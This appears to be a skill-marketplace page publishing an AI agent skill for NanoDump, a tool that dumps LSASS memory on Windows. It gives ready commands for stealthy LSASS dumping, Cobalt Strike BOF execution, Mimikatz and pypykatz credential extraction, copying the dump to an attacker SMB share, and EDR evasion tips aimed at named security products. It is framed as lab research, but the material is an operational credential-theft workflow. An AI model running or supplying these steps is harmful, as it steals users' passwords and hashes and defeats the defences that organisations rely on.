# Nanodump

> Auth/lab ref: NanoDump LSASS acquisition research; handle, fork, minidump, BOF/DLL formats, Windows lab validation and detection evidence.

- Skill: `aeondave/nanodump` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/nanodump`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/nanodump/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Research & Search
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/nanodump

---


# nanodump

Stealthy LSASS minidump tool — syscalls + fork-based techniques to bypass modern EDR solutions.

## Concept

nanodump creates a minidump of the LSASS process using:
- **Direct syscalls** (avoids hooked ntdll APIs)
- **Fork + minidump** (dumping LSASS fork, not LSASS itself)
- **Handle duplication** (uses existing handles)
- **Elevated handles** from another process
- **Silent process exit** technique

The resulting `.dmp` can be parsed with Mimikatz offline.

## Quick Start

```cmd
# Basic dump via LSASS fork (most stealthy)
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp

# Dump with write to file via syscall
nanodump.exe --write C:\Windows\Temp\lsass.dmp

# BOF usage in Cobalt Strike
inline-execute nanodump.o --fork --write lsass.dmp
```

## Core Flags

| Flag | Description |
|------|-------------|
| `--write <path>` | Write dump to file path |
| `--fork` | Fork LSASS before dumping (stealth) |
| `--snapshot` | Use process snapshot (NtCreateProcessEx) |
| `--dup` | Duplicate LSASS handle from another process |
| `--elevate-handle` | Elevate handle via existing handle in another proc |
| `--silent-process-exit` | Use SilentProcessExit to dump |
| `--pid <n>` | Specify LSASS PID manually |
| `--sec-logon` | Use secondary logon handle |
| `--malseclogon` | Abuse MalSecLogon technique |
| `--help` | Show all options |

## Post-Dump: Credential Extraction

```bash
# Transfer dump to Linux and parse with pypykatz
pypykatz lsa minidump lsass.dmp

# Parse on Windows with Mimikatz
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

# Extract NTLM hashes only
pypykatz lsa minidump lsass.dmp -o hashes.txt
```

## Common Workflows

```cmd
# Stealthiest: fork + write to temp
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp

# Transfer dump to attacker
# Via Cobalt Strike: download C:\Windows\Temp\lsass.dmp
# Via SMB: copy lsass.dmp \\attacker\share\

# Parse on Kali
pypykatz lsa minidump lsass.dmp

# Use in CS as BOF
inline-execute nanodump.o --fork --write lsass.dmp
download lsass.dmp
```

## Detection Evasion Notes

- `--fork` avoids direct LSASS access — EDR sees fork process, not LSASS dump
- Direct syscalls bypass user-mode API hooks (CrowdStrike, Defender ATP)
- Combine with process masquerading for additional evasion
- Avoid writing to predictable paths (`C:\Windows\Temp\lsass.dmp` is monitored)

## Resources

| File | When to load |
|------|--------------|
| `references/lsass-techniques.md` | All LSASS dump techniques, pypykatz parsing, hash extraction, detection landscape |

## Structuring This Skill